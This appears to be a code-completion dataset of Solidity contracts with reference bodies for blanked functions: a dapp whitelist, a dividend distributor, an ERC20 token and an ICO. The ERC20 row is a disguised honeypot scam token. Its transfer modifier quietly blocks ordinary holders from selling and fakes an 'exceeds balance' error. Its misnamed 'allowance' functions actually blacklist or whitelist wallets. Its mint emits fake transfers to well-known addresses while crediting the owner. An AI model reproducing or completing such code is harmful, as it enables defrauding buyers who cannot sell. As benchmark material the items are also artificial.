removeAddressFromSet(DAPPS, addr);
emit Whitelisted(addr, false);
}
function dapps()
public
view
returns (
address[] memory addresses
)
{
return addressesInSet(DAPPS);
}
function isDapp(
address addr
)
public
view
returns (bool)
{
return isAddressInSet(DAPPS, addr);
}
function numDapps()
public
view
returns (uint)
{
return numAddressesInSet(DAPPS);
}
} |
addAddressToSet(DAPPS, addr, true);
emit Whitelisted(addr, true);
| function addDapp(address addr)
public
onlyManager
| function addDapp(address addr)
public
onlyManager
|
725 | DividendDistributor | manualSend | contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address public _token;
address public _owner;
address public _treasury;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalClaimed;
}
address[] private shareholders;
mapping (address => uint256) private shareholderIndexes;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalClaimed;
uint256 public dividendsPerShare;
uint256 private dividendsPerShareAccuracyFactor = 10 ** 36;
modifier onlyToken() {
require(msg.sender == _token); _;
}
modifier onlyOwner() {
require(msg.sender == _owner); _;
}
constructor (address owner, address treasury) {
_token = msg.sender;
_owner = payable(owner);
_treasury = payable(treasury);
}
// receive() external payable { }
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override {
uint256 amount = msg.value;
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function distributeDividend(address shareholder) internal {
if(shares[shareholder].amount == 0){ return; }
uint256 amount = getClaimableDividendOf(shareholder);
if(amount > 0){
totalClaimed = totalClaimed.add(amount);
shares[shareholder].totalClaimed = shares[shareholder].totalClaimed.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
payable(shareholder).transfer(amount);
}
}
function claimDividend(address shareholder) external override onlyToken {
distributeDividend(shareholder);
}
function getClaimableDividendOf(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
function manualSend(uint256 amount, address holder) external onlyOwner {<FILL_FUNCTION_BODY> }
function setTreasury(address treasury) external override onlyToken {
_treasury = payable(treasury);
}
function getDividendsClaimedOf (address shareholder) external override view returns (uint256) {
require (shares[shareholder].amount > 0, "You're not a CCC shareholder!");
return shares[shareholder].totalClaimed;
}
} | contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address public _token;
address public _owner;
address public _treasury;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalClaimed;
}
address[] private shareholders;
mapping (address => uint256) private shareholderIndexes;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalClaimed;
uint256 public dividendsPerShare;
uint256 private dividendsPerShareAccuracyFactor = 10 ** 36;
modifier onlyToken() {
require(msg.sender == _token); _;
}
modifier onlyOwner() {
require(msg.sender == _owner); _;
}
constructor (address owner, address treasury) {
_token = msg.sender;
_owner = payable(owner);
_treasury = payable(treasury);
}
// receive() external payable { }
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override {
uint256 amount = msg.value;
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function distributeDividend(address shareholder) internal {
if(shares[shareholder].amount == 0){ return; }
uint256 amount = getClaimableDividendOf(shareholder);
if(amount > 0){
totalClaimed = totalClaimed.add(amount);
shares[shareholder].totalClaimed = shares[shareholder].totalClaimed.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
payable(shareholder).transfer(amount);
}
}
function claimDividend(address shareholder) external override onlyToken {
distributeDividend(shareholder);
}
function getClaimableDividendOf(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
<FILL_FUNCTION>
function setTreasury(address treasury) external override onlyToken {
_treasury = payable(treasury);
}
function getDividendsClaimedOf (address shareholder) external override view returns (uint256) {
require (shares[shareholder].amount > 0, "You're not a CCC shareholder!");
return shares[shareholder].totalClaimed;
}
} |
uint256 contractETHBalance = address(this).balance;
payable(holder).transfer(amount > 0 ? amount : contractETHBalance);
| function manualSend(uint256 amount, address holder) external onlyOwner | function manualSend(uint256 amount, address holder) external onlyOwner |
39851 | ERC20 | _approve | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> }
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
_mint(0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
<FILL_FUNCTION>
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
| function _approve(address owner, address spender, uint256 amount) internal virtual | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual |
91918 | PlatinICO | _deliverTokens | contract PlatinICO is FinalizableCrowdsale, WhitelistedCrowdsale, Pausable {
using SafeMath for uint256;
// Lockup purchase
bool lockup;
// Amount of sold tokens
uint256 public sold;
// Platin TGE contract
PlatinTGE public tge;
/**
* @dev Constructor
* @param _rate uint256 Number of token units a buyer gets per wei
* @param _wallet address Address where collected funds will be forwarded to
* @param _token address Address of the token being sold
* @param _openingTime uint256 Crowdsale opening time
* @param _closingTime uint256 Crowdsale closing time
*/
constructor(
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime
)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{}
/**
* @dev Set TGE contract
* @param _tge address PlatinTGE contract address
*/
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
rate = tge.TOKEN_RATE();
}
/**
* @dev Purchase and lockup purchased tokens
*/
function buyLockupTokens(address _beneficiary) external payable {
lockup = true;
if (_beneficiary == address(0x0))
buyTokens(msg.sender);
else
buyTokens(_beneficiary);
}
/**
* @dev Extend parent behavior to deliver purchase
* @param _beneficiary address Address performing the token purchase
* @param _tokenAmount uint256 Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{<FILL_FUNCTION_BODY> }
/**
* @dev Extend parent behavior to process purchase
* @param _beneficiary address Address receiving the tokens
